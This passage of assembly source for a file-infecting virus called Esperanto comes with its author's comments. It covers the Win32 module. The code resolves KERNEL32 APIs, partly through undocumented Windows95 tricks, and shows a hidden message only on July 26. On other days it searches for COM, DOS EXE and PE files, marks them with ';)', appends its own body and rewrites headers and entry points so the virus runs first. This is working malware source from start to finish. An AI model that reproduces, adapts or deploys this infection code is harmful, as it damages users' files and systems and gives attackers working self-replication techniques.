; The following step consists on getting
|
||
; the RVA of GetModuleHandleA in EAX, so
|
||
; we may get the base address of KERNEL32
|
||
|
||
db 0b8h
|
||
gmhandle_rva dd offset gmhandle_a-base_default
|
||
or eax,eax
|
||
jz get_kernel32
|
||
|
||
push dword ptr [eax+ebx]
|
||
pop dword ptr [ebp+gmhandle_a]
|
||
|
||
; If everything has gone ok, we're now
|
||
; about to call the GetModuleHandle API
|
||
; in order to know KERNEL32's address.
|
||
; Otherwise we had to jump to our own
|
||
; routine which gets this value by means
|
||
; of undocumented features of Windows95
|
||
; (not valid for the rest of Win32!)
|
||
|
||
lea eax,dword ptr [ebp+kernel32_n]
|
||
push eax
|
||
lea eax,dword ptr [ebp+gmhandle_a]
|
||
call dword ptr [eax]
|
||
or eax,eax
|
||
jz get_kernel32
|
||
kernel_found: mov dword ptr [ebp+kernel32_a],eax
|
||
|
||
; Once we've found the base address of
|
||
; KERNEL32 it's necessary to use the API
|
||
; GetProcAddress in order to look for
|
||
; the addresses of the functions we need
|
||
; to use in our code in order to work
|
||
|
||
db 0b8h
|
||
gpaddress_rva dd offset gpaddress_a-base_default
|
||
or eax,eax
|
||
jz get_gpaddress
|
||
|
||
gpadd_found: push dword ptr [eax+ebx]
|
||
pop dword ptr [ebp+gpaddress_a]
|
||
|
||
; Point to the start of the table of API
|
||
; names with ESI, and to the start of the
|
||
; table of API addresses with EDI, holding
|
||
; the number of needed API functions in
|
||
; ECX, and then call GetProcAddress so we
|
||
; may fill the table of API addresses with
|
||
; the current valid values for our APIs
|
||
|
||
cld
|
||
mov ecx,(offset api_names_end-offset api_names)/4
|
||
lea esi,dword ptr [ebp+api_names]
|
||
lea edi,dword ptr [ebp+api_addresses]
|
||
|
||
find_more_api: lodsd
|
||
add eax,ebp
|
||
push ecx esi edi eax
|
||
push dword ptr [ebp+kernel32_a]
|
||
lea eax,dword ptr [ebp+gpaddress_a]
|
||
call dword ptr [eax]
|
||
|
||
pop edi esi ecx
|
||
or eax,eax
|
||
jz jump_to_host
|
||
|
||
cld
|
||
stosd
|
||
loop find_more_api
|
||
|
||
; ÄÄ´ Payload checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Now it's time to check for our activation
|
||
; date (july 26th, when, in 1887, the first
|
||
; book written in Esperanto, "Internacia
|
||
; Lingvo", was published), so we first use
|
||
; the API GetLocalTime to get the date
|
||
|
||
lea eax,dword ptr [ebp+time_table]
|
||
push eax
|
||
lea eax,dword ptr [ebp+glocaltime_a]
|
||
call dword ptr [eax]
|
||
|
||
; Check for july
|
||
|
||
cmp word ptr [ebp+system_month],7
|
||
jne find_first
|
||
|
||
; Now check for the 26th
|
||
|
||
cmp word ptr [ebp+system_day],1ah
|
||
jne find_first
|
||
|
||
; At this point we're sure about the fact
|
||
; that today is our activation date, so
|
||
; we call the API LoadLibraryA in order
|
||
; to load the USER32.DLL module (for the
|
||
; case our host does not load it)
|
||
|
||
lea eax,dword ptr [ebp+user32_n]
|
||
push eax
|
||
lea eax,dword ptr [ebp+loadlibrary_a]
|
||
call dword ptr [eax]
|
||
or eax,eax
|
||
jz jump_to_host
|
||
|
||
; Next step consists on decrypting the
|
||
; internal text used in the payload,
|
||
; which is hidden behind a stupid "not"
|
||
; encryption... just do it (Nike) :P
|
||
|
||
mov ecx,text_size
|
||
lea esi,dword ptr [ebp+text_start]
|
||
mov edi,esi
|
||
decrypt_text: lodsb
|
||
not al
|
||
stosb
|
||
loop decrypt_text
|
||
|
||
; Once this is done, it's necessary to
|
||
; call again GetProcAddress in order to
|
||
; get the address of the API MessageBoxA
|
||
|
||
lea esi,dword ptr [ebp+messagebox_n]
|
||
lea edx,dword ptr [ebp+gpaddress_a]
|
||
push esi eax
|
||
call dword ptr [edx]
|
||
or eax,eax
|
||
jz jump_to_host
|
||
|
||
; And now we've done almost everything
|
||
; in the payload... just call the API,
|
||
; show the text and jump to the host (no
|
||
; infection in Esperanto's only holiday)
|
||
|
||
push 1000h
|
||
lea esi,dword ptr [ebp+virus_author]
|
||
lea edi,dword ptr [ebp+virus_text]
|
||
push esi edi 0
|
||
call eax
|
||
jmp jump_to_host
|
||
|
||
; ÄÄ´ File searching routine (FindFirstFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Look for first file in current directory
|
||
; by means of the API FindFirstFileA, and
|
||
; increment the infection counter byte
|
||
|
||
find_first: mov byte ptr [ebp+inf_counter],0
|
||
lea eax,dword ptr [ebp+finddata]
|
||
lea edx,dword ptr [ebp+wildcard]
|
||
push eax edx
|
||
lea eax,dword ptr [ebp+findfirst_a]
|
||
call dword ptr [eax]
|
||
cmp eax,0ffffffffh
|
||
je jump_to_host
|
||
|
||
; ÄÄ´ File checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Save the handle of the found file and
|
||
; check for its size, just to see if it's
|
||
; a too small file to be infected
|
||
|
||
mov dword ptr [ebp+srchandle],eax
|
||
check_victim: cmp dword ptr [ebp+finddata+WFD_nFileSizeHigh],0
|
||
jne find_next
|
||
|
||
cmp dword ptr [ebp+finddata+WFD_nFileSizeLow],\
|
||
0fffffc17h-espo_file_size
|
||
jae find_next
|
||
|
||
; The file size is ok, now let's memory-map
|
||
; it and do further checks about its main
|
||
; characteristics, to know if it's a good
|
||
; file to infect with our viral code
|
||
|
||
call open_map_file
|
||
or ebx,ebx
|
||
jz find_next
|
||
|
||
; First of all, check for its extension to
|
||
; be COM or EXE. I used a stupid waste of
|
||
; bytes here, but i was kinda drunk when i
|
||
; did it (check for a dot instead of the end
|
||
; of the ASCIIZ string), so i thought it was
|
||
; fun not to modify it... it works :)
|
||
|
||
cld
|
||
lea esi,dword ptr [ebp+finddata+WFD_szFileName]
|
||
find_dot: inc byte ptr [ebp+max_path_size]
|
||
cmp byte ptr [ebp+max_path_size],0ffh
|
||
je unmap_n_close
|
||
|
||
lodsb
|
||
cmp al,'.'
|
||
jne find_dot
|
||
|
||
; Is it a COM file?
|
||
|
||
dec esi
|
||
lodsd
|
||
cmp eax,'MOC.'
|
||
je check32_com
|
||
|
||
; Maybe an EXE file?
|
||
|
||
cmp eax,'EXE.'
|
||
jne unmap_n_close
|
||
|
||
; Seems so... first check for the MZ mark
|
||
; as the first doubleword in the header
|
||
|
||
; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check32_exe: cmp word ptr [ebx],'ZM'
|
||
jne unmap_n_close
|
||
|
||
; Now check for our infection mark (";)")
|
||
|
||
cmp word ptr [ebx+MZ_csum],');'
|
||
je unmap_n_close
|
||
|
||
; If file has not been infected, then
|
||
; set the winky smiley as checksum, and
|
||
; check for the number of overlays
|
||
|
||
mov word ptr [ebx+MZ_csum],');'
|
||
cmp word ptr [ebx+MZ_ovno],0
|
||
jne unmap_n_close
|
||
|
||
; Don't infect PkLited EXEs
|
||
|
||
cmp word ptr [ebx+MZ_res+2],'KP'
|
||
je unmap_n_close
|
||
|
||
; Now check for the Windows file mark
|
||
|
||
cmp word ptr [ebx+MZ_lfarlc],40h
|
||
je check32_pe
|
||
|
||
; At this point we know it is a DOS EXE
|
||
; file... we're gonna infect it for sure
|
||
|
||
; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect32_exe: mov byte ptr [ebp+file_flag],'E'
|
||
inc byte ptr [ebp+inf_counter]
|
||
call unmap_close
|
||
|
||
; Only EXEs < 65535, because of the "div"
|
||
; problem referenced in the virus description
|
||
; which is found at the start of this file
|
||
|
||
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
|
||
cmp eax,0ffffh
|
||
jnb unmap_n_close
|
||
|
||
; Remap the file with our size added
|
||
|
||
push eax
|
||
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
|
||
espo_file_size
|
||
call open_map_file
|
||
or ebx,ebx
|
||
jz no_good
|
||
|
||
; Calculate the new CS by means of first
|
||
; getting the size header in paragraphs
|
||
|
||
pop eax
|
||
push eax
|
||
mov ecx,10h
|
||
cdq
|
||
div ecx
|
||
sub ax,word ptr [ebx+MZ_cparhdr]
|
||
|
||
; Update new CS and store the old one
|
||
|
||
push ax
|
||
xchg word ptr [ebx+MZ_cs],ax
|
||
mov word ptr [ebp+exe_cs],ax
|
||
pop ax
|
||
|
||
; And now update the IP pointer, which
|
||
; is equal to zero, that is, the start
|
||
; of the virus which jumps straight to
|
||
; the COM and EXE entry
|
||
|
||
push dx
|
||
xchg word ptr [ebx+MZ_ip],dx
|
||
mov word ptr [ebp+exe_ip],dx
|
||
pop dx
|
||
|
||
; Now calculate SS and SP
|
||
|
||
add edx,espo_file_size+320h
|
||
and dl,0feh
|
||
|
||
; Update SS
|
||
|
||
xchg word ptr [ebx+MZ_ss],ax
|
||
mov word ptr [ebp+exe_ss],ax
|
||
|
||
; Update SP
|
||
|
||
xchg word ptr [ebx+MZ_sp],dx
|
||
mov word ptr [ebp+exe_sp],dx
|
||
pop eax
|
||
|
||
; Calculate the new number of bytes in last
|
||
; page and of pages in EXE file, and update
|
||
; the corresponding pointers in the MZ header
|
||
|
||
add eax,espo_file_size
|
||
mov ecx,200h
|
||
cdq
|
||
div ecx
|
||
inc eax
|
||
mov word ptr [ebx+MZ_cblp],dx
|
||
mov word ptr [ebx+MZ_cp],ax
|
||
|
||
; And finally append our code to the end of
|
||
; the EXE file we've just infected. The MZ
|
||
; header will be overwritten to the old one
|
||
; as soon as the file is unmapped, no need
|
||
; to lseek to the start and write it
|
||
|
||
cld
|
||
mov ecx,espo_file_size
|
||
lea esi,dword ptr [ebp+espo_start]
|
||
mov edi,dword ptr [ebp+finddata+WFD_nFileSizeLow]
|
||
sub edi,ecx
|
||
add edi,ebx
|
||
rep movsb
|
||
jmp unmap_n_close
|
||
|
||
; Check if the COM file has been previously
|
||
; infected by Esperanto (winky ";)" smiley)
|
||
|
||
; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check32_com: cmp word ptr [ebx+3],');'
|
||
je unmap_n_close
|
||
|
||
; If not, set the file flag, increment the
|
||
; infection counter and memory map the file
|
||
; with our size previously added
|
||
|
||
; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
infect32_com: mov byte ptr [ebp+file_flag],'C'
|
||
inc byte ptr [ebp+inf_counter]
|
||
call unmap_close
|
||
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
|
||
espo_file_size
|
||
call open_map_file
|
||
or ebx,ebx
|
||
jz no_good
|
||
|
||
; Store old COM header in our buffer
|
||
|
||
cld
|
||
mov ecx,5
|
||
push ecx
|
||
mov esi,ebx
|
||
lea edi,dword ptr [ebp+old_com_header]
|
||
rep movsb
|
||
|
||
; Calculate the jump to the COM and EXE
|
||
; entry point of the virus (once appended)
|
||
; and store it in the buffer of the new
|
||
; COM header ("0e9h,?,?,;)"). Then copy
|
||
; it to the first five bytes of the file
|
||
|
||
pop ecx
|
||
lea esi,dword ptr [ebp+new_com_header]
|
||
mov edi,ebx
|
||
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
|
||
sub eax,espo_file_size
|
||
push eax
|
||
sub eax,3
|
||
mov word ptr [esi+1],ax
|
||
rep movsb
|
||
|
||
; And finally append the viral code to
|
||
; the end of the COM file, unmap it and
|
||
; go look for more files to infect
|
||
|
||
mov ecx,espo_file_size
|
||
lea esi,dword ptr [ebp+espo_start]
|
||
pop edi
|
||
add edi,ebx
|
||
rep movsb
|
||
jmp unmap_n_close
|
||
|
||
; Check if the new EXE file is a PE, by
|
||
; first comparing the starting doubleword
|
||
; of the new header with "PE"
|
||
|
||
; ÄÄ´ PE files check routine (I) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
check32_pe: mov esi,dword ptr [ebx+MZ_lfanew]
|
||
add esi,ebx
|
||
lodsd
|
||
|
||
cmp eax,'EP'
|
||
jne unmap_n_close
|
||
|
||
; If this is ok, now check if the file is
|
||
; executable and if it is not a DLL
|
||
|
||
mov ax,word ptr [esi+FH_Characteristics]
|
||
test ax,IMAGE_FILE_EXECUTABLE_IMAGE
|
||
jz unmap_n_close
|
||
|
||
test ax,IMAGE_FILE_DLL
|
||
jnz unmap_n_close
|
||
|
||
; Get number of sections of the PE file
|
||
; and then point the first section with EDI
|
||
|
||
movzx ecx,word ptr [esi+FH_NumberOfSections]
|
||
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
|
||
add esi,IMAGE_SIZEOF_FILE_HEADER
|
||
add edi,esi
|
||
|
||
s_img_section: mov eax,dword ptr [esi+OH_DataDirectory\
|
||
.DE_Import\
|
||
.DD_VirtualAddress]
|
||
mov edx,dword ptr [edi+SH_VirtualAddress]
|
||
sub eax,edx
|
||
|
||
; Now we're looking for the section in which
|
||
; the import table is found. This is usually
|
||
; the .idata section, but we make sure by
|
||
; means of checking if the address of the
|
||
; imports directory is inside this section
|
||
|
||
cmp eax,dword ptr [edi+SH_VirtualSize]
|
||
jb section_ok
|
||
|
||
; In case it's not, we point to the header
|
||
; of the next section with EDI, and keep on
|
||
; doing the same until we find it
|
||
|
||
add edi,IMAGE_SIZEOF_SECTION_HEADER
|
||
loop s_img_section
|
||
jmp unmap_n_close
|
||
|
||
; Now get a pointer to the first import
|
||
; module descriptor in EAX so we may
|
||
; look for KERNEL32.DLL thru this array
|
||
|
||
section_ok: add eax,dword ptr [edi+SH_PointerToRawData]
|
||
sub edx,eax
|
||
add eax,ebx
|
||
|
||
; Get the RVA of the Import Module
|
||
; Descriptor in ESI and later check
|
||
; if it actually exists or not (=0)
|
||
|
||
next_imd_img: mov esi,dword ptr [eax+ID_Name]
|
||
lea edi,dword ptr [ebp+offset kernel32_n]
|
||
or esi,esi
|
||
jz unmap_n_close
|
||
|
||
; Now get the address of the name of
|
||
; the IMD and check if it's the one
|
||
; we're looking for (KERNEL32.DLL)
|
||
|
||
push eax
|
||
mov ecx,8
|
||
sub esi,edx
|
||
add esi,ebx
|
||
|
||
; Get a character from ESI, check its case,
|
||
; convert it if necessary to uppercase and
|
||
; then compare the strings pointed by ESI
|
||
; and EDI, to see if we find KERNEL32.DLL
|
||
|
||
dll_loop: lodsb
|
||
cmp al,'a'
|
||
jb check_char
|
||
|
||
sub al,('a'-'A')
|
||
check_char: scasb
|
||
jne more_imd_img
|
||
loop dll_loop
|
||
|
||
; Save the ID_ForwarderChain pointer in the
|
||
; dynamic variable which corresponds to the
|
||
; KERNEL32.DLL RVA, as we will need it to
|
||
; find the base address of this module if
|
||
; the calling process to GetModuleHandleA
|
||
; was not successful (this is undocumented)
|
||
|
||
pop edi
|
||
lea eax,dword ptr [edi+ID_ForwarderChain]
|
||
sub eax,ebx
|
||
add eax,edx
|
||
mov dword ptr [ebp+kernel32_rva],eax
|
||
|
||
; Get the time/date stamp of KERNEL32.DLL
|
||
; into EAX in order to compare it with the
|
||
; corresponding stamp of the file we're
|
||
; about to infect, as we don't want to hit
|
||
; any binded executable PE file
|
||
|
||
mov eax,dword ptr [ebp+kernel32_a]
|
||
mov esi,dword ptr [eax+IMAGE_DOS_HEADER.MZ_lfanew]
|
||
add esi,eax
|
||
add esi,NT_FileHeader.FH_TimeDateStamp
|
||
lodsd
|
||
|
||
; Determine if file is binded. If not, jump
|
||
; and go find the RVA of the APIs needed in
|
||
; the working process of Esperanto
|
||
|
||
mov esi,dword ptr [edi+ID_FirstThunk]
|
||
sub esi,edx
|
||
add esi,ebx
|
||
cmp eax,dword ptr [edi+ID_TimeDateStamp]
|
||
jne find_rvas
|
||
|
||
; ÄÄ´ File searching routine (FindNextFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Memory unmap file handled in EBX, check
|
||
; the infection counter and, if everything
|
||
; is ok, look for more files to infect
|
||
|
||
unmap_n_close: call unmap_close
|
||
find_next: cmp byte ptr [ebp+inf_counter],3
|
||
je jump_to_host
|
||
|
||
lea eax,dword ptr [ebp+finddata]
|
||
push eax
|
||
push dword ptr [ebp+srchandle]
|
||
lea eax,dword ptr [ebp+findnext_a]
|
||
call dword ptr [eax]
|
||
or eax,eax
|
||
jnz check_victim
|
||
|
||
; Nothing else to do, close the search
|
||
; handle and jump to the original entry
|
||
; point of the code of our host
|
||
|
||
push dword ptr [ebp+srchandle]
|
||
lea eax,dword ptr [ebp+findclose_a]
|
||
call dword ptr [eax]
|
||
jump_to_host: popad
|
||
ret
|
||
|
||
; ÄÄ´ PE files check routine (II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Go to next imported module descriptor
|
||
|
||
more_imd_img: pop eax
|
||
add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
|
||
jmp next_imd_img
|
||
|
||
; Now let's go for GetModuleHandleA. We
|
||
; need the RVA of this API because it is
|
||
; necessary to call it in order to know
|
||
; the base address of KERNEL32.DLL
|
||
|
||
find_rvas: push esi
|
||
lea edi,dword ptr [ebp+gmhandle_n]
|
||
call look4name
|
||
mov dword ptr [ebp+gmhandle_rva],eax
|
||
|
||
; Our next and last objective is the API
|
||
; GetProcAddress, which helps us in order
|
||
; to find the address of any API we look
|
||
; for of a given module or library
|
||
|
||
pop esi
|
||
lea edi,dword ptr [ebp+gpaddress_n]
|
||
call look4name
|
||
mov dword ptr [ebp+gpaddress_rva],eax
|
||
|
||
; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Increment infection counter and remap our
|
||
; victim in memory with the virus size added
|
||
|
||
infect32_pe: inc byte ptr [ebp+inf_counter]
|
||
call unmap_close
|
||
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
|
||
espo_file_size
|
||
call open_map_file
|
||
or ebx,ebx
|
||
jz no_good
|
||
|
||
cld
|
||
mov esi,dword ptr [ebx+MZ_lfanew]
|
||
add esi,ebx
|
||
lodsd
|
||
|
||
; Get the RVA of the last section header in
|
||
; EDI. Here's where we're going to copy our
|
||
; code, so no new sections are needed and
|
||
; we're not so easily discovered in a file
|
||
|
||
mov eax,IMAGE_SIZEOF_SECTION_HEADER
|
||
movzx ecx,word ptr [esi+FH_NumberOfSections]
|
||
dec ecx
|
||
mul ecx
|
||
|
||
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
|
||
add eax,edx
|
||
add esi,IMAGE_SIZEOF_FILE_HEADER
|
||
add eax,esi
|
||
mov edi,eax
|
||
|
||
; Now get the old entry point and store its
|
||
; RVA in a dynamic variable of our code we
|
||
; will use in order to jump back to our host
|
||
|
||
push dword ptr [esi+OH_AddressOfEntryPoint]
|
||
pop dword ptr [ebp+entry_rva]
|
||
|
||
; Get original file size and store it for
|
||
; later use during the PE infection process
|
||
|
||
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
|
||
sub eax,espo_file_size
|
||
push eax
|
||
|
||
; Calculate new entry point by means of the
|
||
; original file size and our memory size, and
|
||
; save it as the new AddressOfEntryPoint
|
||
|
||
sub eax,dword ptr [edi+SH_PointerToRawData]
|
||
add eax,dword ptr [edi+SH_VirtualAddress]
|
||
add eax,offset espow32_start
|
||
mov dword ptr [esi+OH_AddressOfEntryPoint],eax
|
||
|
||
; And store the RVA of the base address, not
|
||
; forgetting to add the dseta offset to it
|
||
|
||
add eax,dseta_offset
|
||
mov dword ptr [ebp+base_address],eax
|
||
|
||
; Get new size of VirtualSize
|
||
|
||
mov eax,dword ptr [ebp+finddata.WFD_nFileSizeLow]
|
||
sub eax,dword ptr [edi+SH_PointerToRawData]
|
||
push eax
|
||
|
||
add eax,(espo_mem_size-espo_file_size)
|
||
cmp eax,dword ptr [edi+SH_VirtualSize]
|
||
jbe virtsize_ok
|
||
|
||
mov dword ptr [edi+SH_VirtualSize],eax
|
||
virtsize_ok: pop eax
|
||
|
||
; And now the new size of SizeOfRawData
|
||
|
||
add eax,(espo_mem_size-espo_file_size)
|
||
mov ecx,dword ptr [esi+OH_FileAlignment]
|
||
cdq
|
||
div ecx
|
||
inc eax
|
||
mul ecx
|
||
mov dword ptr [edi+SH_SizeOfRawData],eax
|
||
|
||
; Set section characteristics to execute, read
|
||
; and write access, so Esperanto will not find
|
||
; any problem when performing its functioning
|
||
|
||
or dword ptr [edi+SH_Characteristics],\
|
||
IMAGE_SCN_MEM_EXECUTE or\
|
||
IMAGE_SCN_MEM_READ or\
|
||
IMAGE_SCN_MEM_WRITE
|
||
|
||
; Update the SizeOfImage pointer
|
||
|
||
mov eax,dword ptr [esi+OH_SizeOfImage]
|
||
add eax,espo_file_size
|
||
mov ecx,dword ptr [esi+OH_FileAlignment]
|
||
cdq
|
||
div ecx
|
||
inc eax
|
||
mul ecx
|
||
mov dword ptr [esi+OH_SizeOfImage],eax
|
||
|
||
; And finally append the virus body to the
|
||
; the end of the PE file we've just infected,
|
||
; unmap it and go look for more victims
|
||
|
||
mov ecx,espo_file_size
|
||
lea esi,dword ptr [ebp+espo_start]
|
||
pop edi
|
||
add edi,ebx
|
||
rep movsb
|
||
no_good: jmp unmap_n_close
|
||
|
||
; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
;
|
||
; Note: the following subroutines are used by the Win32 module in order to
|
||
; perform many repeated actions, such as mapping or unmapping a file, fin-
|
||
; ding RVAs or the base address of a given module or API, and so on.
|
||
|
||
; ÄÄ´ Undocumented way to find the address of K32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ EBX => base address of host
|
||
; þ Necessity to find KERNEL32.DLL
|
||
;
|
||
; Exit:
|
||
; þ EAX => base address of KERNEL32.DLL
|
||
; þ EBX => base address of host
|
||
|
||
; Try to get the base address of KERNEL32
|
||
; by means of ID_ForwarderChain. This is
|
||
; an undocumented feature which only works
|
||
; in Windows95. First load the RVA in ESI
|
||
; and then add the base address to it
|
||
|
||
get_kernel32: db 0beh
|
||
kernel32_rva dd ?
|
||
add esi,ebx
|
||
lodsd
|
||
|
||
; Now check for the MZ signature
|
||
|
||
cmp word ptr [eax],'ZM'
|
||
jne k32_not_found
|
||
|
||
; And finally, for the PE one. If it was
|
||
; found, then the undocumented feature has
|
||
; worked. Otherwise the control will be
|
||
; passed to our host, as we can't execute
|
||
|
||
mov esi,dword ptr [eax+MZ_lfanew]
|
||
cmp dword ptr [esi+eax],'EP'
|
||
je kernel_found
|
||
k32_not_found: popad
|
||
ret
|
||
|
||
; ÄÄ´ Undocumented way to find the address of GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ EBX => base address of host
|
||
; þ kernel32_a => base address of KERNEL32.DLL
|
||
; þ Necessity to find GetProcAddress
|
||
;
|
||
; Exit:
|
||
; þ EAX => address of GetProcAddress
|
||
; þ EBX => base address of host
|
||
|
||
; This undocumented way to get the address
|
||
; of the API GetProcAddress is based on
|
||
; looking for its name and later for its
|
||
; ordinal thru the array of APIs exported
|
||
; by the module KERNEL32.DLL. Thus, the
|
||
; first step consists on seeking to the
|
||
; base address of this library and making
|
||
; sure this is the right address
|
||
|
||
get_gpaddress: cld
|
||
push ebx
|
||
mov ebx,dword ptr [ebp+kernel32_a]
|
||
cmp word ptr [ebx],'ZM'
|
||
jne gpa_aborted
|
||
|
||
; Once we know it has a MZ header, let's
|
||
; check for the PE mark, pointed by [3ch]
|
||
|
||
mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]
|
||
add esi,ebx
|
||
lodsd
|
||
|
||
cmp eax,'EP'
|
||
jne gpa_aborted
|
||
|
||
; Everything ok, now let's get a pointer
|
||
; to the image export directory and push
|
||
; it onto the stack for later use
|
||
|
||
add esi,NT_OptionalHeader\
|
||
.OH_DirectoryEntries\
|
||
.DE_Export\
|
||
.DD_VirtualAddress-4
|
||
lodsd
|
||
add eax,ebx
|
||
push eax
|
||
|
||
; Get also a pointer to the table of the
|
||
; names of exported functions and to their
|
||
; corresponding ordinals or addresses
|
||
|
||
mov ecx,dword ptr [eax+ED_NumberOfNames]
|
||
mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
|
||
add edx,ebx
|
||
lea esi,dword ptr [eax+ED_AddressOfNames]
|
||
lodsd
|
||
add eax,ebx
|
||
|
||
; Now look for "GetProcAddress" thru the
|
||
; array of names of exported API functions
|
||
|
||
search_name: push ecx
|
||
lea esi,dword ptr [ebp+gpaddress_n]
|
||
mov edi,dword ptr [eax]
|
||
or edi,edi
|
||
jz next_name
|
||
|
||
; Compare the strings
|
||
|
||
mov ecx,0eh
|
||
add edi,ebx
|
||
repe cmpsb
|
||
je name_found
|
||
|
||
; Not found, go to next name
|
||
|
||
next_name: add eax,4
|
||
add edx,2
|
||
pop ecx
|
||
loop search_name
|
||
|
||
; In case it was not found, jump to the
|
||
; error routine and stop the functioning
|
||
|
||
pop eax
|
||
jmp gpa_aborted
|
||
|
||
; The "GetProcAddress" string was found,
|
||
; and EDX is the index of the function,
|
||
; so now we have to look for the ordinal
|
||
; using the mentioned index in EDX, and
|
||
; check if it is out of range
|
||
|
||
name_found: pop ecx edi
|
||
movzx eax,word ptr [edx]
|
||
cmp eax,dword ptr [edi+ED_NumberOfFunctions]
|
||
jae gpa_aborted
|
||
|
||
; This is the starting ordinal number
|
||
|
||
sub eax,dword ptr [edi+ED_BaseOrdinal]
|
||
inc eax
|
||
shl eax,2
|
||
|
||
; Finally, get address of function and jump
|
||
; back to the main routine, in order to look
|
||
; for the addresses of other needed APIs
|
||
|
||
mov esi,dword ptr [edi+ED_AddressOfFunctions]
|
||
add esi,eax
|
||
add esi,ebx
|
||
lodsd
|
||
add eax,ebx
|
||
pop ebx
|
||
jmp gpadd_found
|
||
|
||
; In case there was an error, stop running
|
||
; and jump to the original entry point
|
||
|
||
gpa_aborted: pop ebx
|
||
popad
|
||
ret
|
||
|
||
; ÄÄ´ Map a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ WFD_szFileName => file to memory-map
|
||
;
|
||
; Exit:
|
||
; þ EBX => handle of memory-mapped file
|
||
|
||
; Open existing file
|
||
|
||
open_map_file: push 0
|
||
push FILE_ATTRIBUTE_NORMAL
|
||
push OPEN_EXISTING
|
||
push 0
|
||
push 0
|
||
push GENERIC_READ or GENERIC_WRITE
|
||
lea eax,dword ptr [ebp+finddata+WFD_szFileName]
|
||
push eax
|
||
lea eax,dword ptr [ebp+createfile_a]
|
||
call dword ptr [eax]
|
||
or eax,eax
|
||
jz exit_mapping
|
||
|
||
; Create file-mapping for it
|
||
|
||
mov dword ptr [ebp+crfhandle],eax
|
||
push 0
|
||
push dword ptr [ebp+finddata+WFD_nFileSizeLow]
|
||
push 0
|
||
push PAGE_READWRITE
|
||
push 0
|
||
push dword ptr [ebp+crfhandle]
|
||
lea eax,dword ptr [ebp+cfmapping_a]
|
||
call dword ptr [eax]
|
||
or eax,eax
|
||
jz close_handle
|
||
|
||
; Map file in memory, get base address
|
||
|
||
mov dword ptr [ebp+maphandle],eax
|
||
push dword ptr [ebp+finddata+WFD_nFileSizeLow]
|
||
push 0
|
||
push 0
|
||
push FILE_MAP_WRITE
|
||
push dword ptr [ebp+maphandle]
|
||
lea eax,dword ptr [ebp+mapview_a]
|
||
call dword ptr [eax]
|
||
xchg ebx,eax
|
||
or ebx,ebx
|
||
jz close_mapping
|
||
ret
|
||
|
||
; ÄÄ´ Unmap a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
;
|
||
; Entry:
|
||
; þ EBX => handle of memory-mapped file
|
||
;
|
||
; Exit:
|
||
; þ EBX => null, file unmapped
|
||
|
||
; Unmap view of file
|
||
|
||
unmap_close: xchg ebx,eax
|
||
push eax
|
||
lea eax,dword ptr [ebp+unmapview_a]
|
||
call dword ptr [eax]
|
||
|
||
; Close handle created by CreateFileMappingA
|
||
